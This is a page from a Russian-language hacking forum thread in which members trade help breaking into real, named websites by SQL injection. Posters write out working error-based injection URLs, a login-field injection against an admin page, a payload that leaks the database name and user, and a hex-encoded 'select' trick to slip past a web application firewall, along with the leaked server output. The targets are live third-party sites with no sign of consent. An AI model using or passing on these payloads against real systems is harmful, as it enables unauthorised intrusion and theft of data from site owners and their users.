ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1273 из 2438 « Первая < 273773117312231263 1269 1270 1271 1272 1273 1274 1275 1276 1277 12831323137317732273 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12721  
Старый 24.04.2010, 06:29
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию
народ прошу помоши в раскрутке через floor rand

вот версию и др инфо выводится норм но вот никак не могу выводит именя таблиц и колонок.
_http://www.le ve lst oc k.com/mod/emarket/index.php?page=2&sort=1%20and%20row(1,1)%3E(select %20count(*),concat(version(),0x3a,floor(rand()*2)) x%20from%20(select%201%20union%20select%202)a%20gr oup%20by%20x%20limit%201)--

_http://www.le ve ls to ck.com/mod/emarket/index.php?page=2&sort=1%20and%20row(1,1)%3E(select %20count(*),concat(database(),0x3a,floor(rand()*2) )x%20from%20(select%201%20union%20select%202)a%20g roup%20by%20x%20limit%201)--

может кто посоветует с правильным запросом для таблиц и колонок. Тут как только добавляю про information_schema.tables сразу ругается
 
Ответить с цитированием

  #12722  
Старый 24.04.2010, 07:19
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию
Просто фильтрация на from information_schema.tables
Последний раз редактировалось Ctacok; 24.04.2010 в 07:26..
 
Ответить с цитированием

  #12723  
Старый 24.04.2010, 09:59
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию
ну знаю что может быть фильтрация но я основном мучаюс что не могу составит правильный запрос с таким типам скуля. Ну стандартные вроде знаю но тут метод Qwazar как то не очень то гоняю. Попробовал через toolza там тоже не пашет
 
Ответить с цитированием

  #12724  
Старый 24.04.2010, 12:25
stasiliy
Новичок
Регистрация: 26.09.2009
Сообщений: 22
С нами: 8749821

Репутация: 0
По умолчанию
Цитата:
Сообщение от pinch  
как можно обойти фильтрацию на select?? замучался уже стоит WAF
ну могыт так: selselectect )) хз


Мужики))хдд
http://www.bilandima.ru/html/promofoto.php?p=156_anasteshiya' ДИМА БИЛАН))хы
 
Ответить с цитированием

  #12725  
Старый 24.04.2010, 13:51
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию
http://www.keyin.ca/news.asp?id=52&news=showall

может найдется чувак который обойдет фильтр на select
 
Ответить с цитированием

  #12726  
Старый 24.04.2010, 14:53
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию
http://www.keyin.ca/admin/default.asp

в поле логин admin' or (1,2)=(select * from (select name_const(version(),1),name_const(version(),1))x)--
Цитата:
Duplicate column name '5.0.67.d7-ourdelta-log'
 
Ответить с цитированием

  #12727  
Старый 24.04.2010, 15:01
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию
это хорошо..=) но надо select обойти... меня не интересует админский доступ
очень интересует именно обход фильтра на select
 
Ответить с цитированием

  #12728  
Старый 24.04.2010, 15:14
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию
Цитата:
Сообщение от pinch  
это хорошо..=) но надо select обойти... меня не интересует админский доступ
очень интересует именно обход фильтра на select
Крутите так, какая разница нах...
Какой обход.

' and (select 1 from (select count(0),concat(database(),':',user(),floor(rand(0 )*2)) from (select 1 union select 2 union select 3)x group by 2)a)#
Цитата:
Duplicate entry 'keyincollege:keyincollege@72.167.232.1721' for key 1
ps file_priv у юзера нет!
Последний раз редактировалось Strilo4ka; 24.04.2010 в 15:26..
 
Ответить с цитированием

  #12729  
Старый 24.04.2010, 15:34
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию
hahhaha т.е. какой нахер админский доступ, я имелл ввиду не уязвимость в другом параметре а именно обход фильтрации select в параметре id http://www.keyin.ca/news.asp?id=52&news=showall
 
Ответить с цитированием

  #12730  
Старый 24.04.2010, 16:23
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию
Цитата:
Сообщение от pinch  
hahhaha т.е. какой нахер админский доступ, я имелл ввиду не уязвимость в другом параметре а именно обход фильтрации select в параметре id http://www.keyin.ca/news.asp?id=52&news=showall
http://www.keyin.ca/news.asp?id=-52+union+%73%65%6C%65%63%74+1,2,3,version(),5&news =showall
 
Ответить с цитированием
Ответ
Страница 1273 из 2438 « Первая < 273773117312231263 1269 1270 1271 1272 1273 1274 1275 1276 1277 12831323137317732273 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.